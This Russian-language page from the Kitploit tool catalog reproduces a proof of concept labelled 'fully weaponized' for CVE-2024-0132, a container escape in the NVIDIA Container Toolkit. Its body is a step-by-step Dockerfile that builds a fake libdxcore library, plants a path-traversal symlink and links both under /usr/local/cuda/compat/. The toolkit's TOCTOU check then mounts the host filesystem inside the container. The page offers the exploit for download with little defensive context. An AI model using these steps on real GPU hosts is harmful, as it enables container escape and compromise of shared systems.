Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-0132 — CVE-2024-0132 – Fully Weaponized NVIDIA Container Toolkit Exploit | Kitploit
Инструменты/GitHubGitHub/r0binak/cve-2024-0132
Privilege EscalationContainer SecurityVulnerability AnalysisExploitationCloud SecurityContainer Escape
GitHubr0binak/cve-2024-0132

CVE-2024-0132

CVE-2024-0132 – Fully Weaponized NVIDIA Container Toolkit Exploit

Репозиторий
611 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2024-0132

CVE-2024-0132 PoC

Начнём с выбора базового образа. Расположение библиотек в системе зависит от того, какой это будет образ. Например, для alpine это будет /usr/lib64/, для ubuntu — /usr/lib/x86_64-linux-gnu. В качестве базового образа мы будем использовать ubuntu.

root@kitploit:~
FROM ubuntu

Набор инструментов nvidia containter проверяет библиотеки в /usr/local/cuda/compat/ внутри контейнера, а затем монтирует их в главный каталог библиотек; для этого образа (ubuntu) это будет /usr/lib/x86_64-linux-gnu.

Ссылки также монтируются, поэтому вы можете смонтировать любой файл и каталог из образа в /usr/lib/x86_64-linux-gnu. При этом проверяется, что ссылка разрешается внутри контейнера; она не может использовать множественные ../ для обхода пути. Однако это можно обойти, используя монтирование внутри контейнера через /usr/local/cuda/compat/ дважды, следовательно, TOCTOU.

Подробнее о механизме монтирования из /usr/local/cuda/compat/:

  • https://github.com/NVIDIA/libnvidia-container/blob/4c2494f16573b585788a42e9c7bee76ecd48c73d/src/nvc_container.c#L61
  • https://github.com/NVIDIA/libnvidia-container/blob/4c2494f16573b585788a42e9c7bee76ecd48c73d/src/nvc_mount.c#L768
root@kitploit:~
RUN mkdir -p /usr/local/cuda/compat/

Создайте два каталога:

  1. Исходный каталог будет содержать обычный файл с содержимым test
root@kitploit:~
RUN mkdir -p /usr/lib/x86_64-linux-gnu/libdxcore.so.1337/
RUN echo test > /usr/lib/x86_64-linux-gnu/libdxcore.so.1337/libdxcore.so.1337.hostfs
  1. Второй каталог с таким же именем будет содержать ссылку с обходом пути вместо файла.
root@kitploit:~
RUN mkdir -p /pwn/libdxcore.so.1337/
RUN ln -s ../../../../../../../../../ /pwn/libdxcore.so.1337/libdxcore.so.1337.hostfs

Имя libdxcore.so выбрано для соответствия фильтрам. Основная версия (1337) должна отличаться от реальной версии драйвера.

Создайте две ссылки в /usr/local/cuda/compat/:

  1. Первая ссылка заменит содержимое исходного каталога /usr/lib/x86_64-linux-gnu/libdxcore.so.1337/ на /pwn/libdxcore.so.1337/
root@kitploit:~
RUN ln -s /pwn/libdxcore.so.1337 /usr/local/cuda/compat/libxxx.so.1
  1. Вторая ссылка монтирует /usr/lib/x86_64-linux-gnu/libdxcore.so.1337/libdxcore.so.1337.hostfs в /usr/lib/x86_64-linux-gnu/libdxcore.so.1337.hostfs. Во время проверки это будет обычный файл, но в момент монтирования это будет ссылка, которая находилась в /pwn/libdxcore.so.1337/libdxcore.so.1337.hostfs, таким образом файловая система хоста будет смонтирована в /usr/lib/x86_64-linux-gnu/libdxcore.so.1337.hostfs/.
root@kitploit:~
RUN ln -s /usr/lib64/libdxcore.so.1337/libdxcore.so.1337.hostfs /usr/local/cuda/compat/libxxx.so.2
Скачать инструмент